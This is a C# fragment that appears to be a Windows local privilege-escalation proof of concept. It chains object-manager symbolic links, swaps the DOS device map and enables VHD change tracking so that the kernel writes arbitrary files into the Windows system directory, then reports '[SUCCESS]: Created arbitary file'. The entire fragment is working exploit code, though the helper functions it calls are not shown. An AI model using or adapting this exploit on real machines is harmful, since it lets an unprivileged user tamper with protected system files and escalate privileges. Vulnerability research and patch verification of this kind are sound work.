static void Main(string[] args) { try { string vhd_path = Path.GetFullPath("test.vhd"); File.Delete(vhd_path); File.Delete(vhd_path + ".rct"); File.Delete(vhd_path + ".mrt"); Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path); List <SafeKernelObjectHandle> chain = CreateChainForPath(Path.GetDirectoryName(vhd_path)); SafeKernelObjectHandle rct_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".rct", @"\SystemRoot\abc.txt"); SafeKernelObjectHandle mrt_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".mrt", @"\SystemRoot\xyz.txt"); using (SafeFileHandle handle = CreateVHD(vhd_path)) { // Write dummy files for when the kernel impersonates us (and kills the per-process device map) File.WriteAllBytes(vhd_path + ".rct", new byte[0]); File.WriteAllBytes(vhd_path + ".mrt", new byte[0]); SetVirtualDiskInfo disk_info = new SetVirtualDiskInfo(); disk_info.Version = SetVirtualDiskInfoVersion.ChangeTrackingState; disk_info.ChangeTrackingEnabled = true; SetDosDirectory(chain.First()); int error = SetVirtualDiskInformation(handle, ref disk_info); chain[1].Close(); if (error != 0) { throw new Win32Exception(error); } } if (!File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "abc.txt"))) { Console.WriteLine("[ERROR]: Didn't create arbitrary file"); } else { Console.WriteLine("[SUCCESS]: Created arbitary file"); } } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } }
static extern int SetVirtualDiskInformation( SafeFileHandle VirtualDiskHandle, ref SetVirtualDiskInfo VirtualDiskInfo );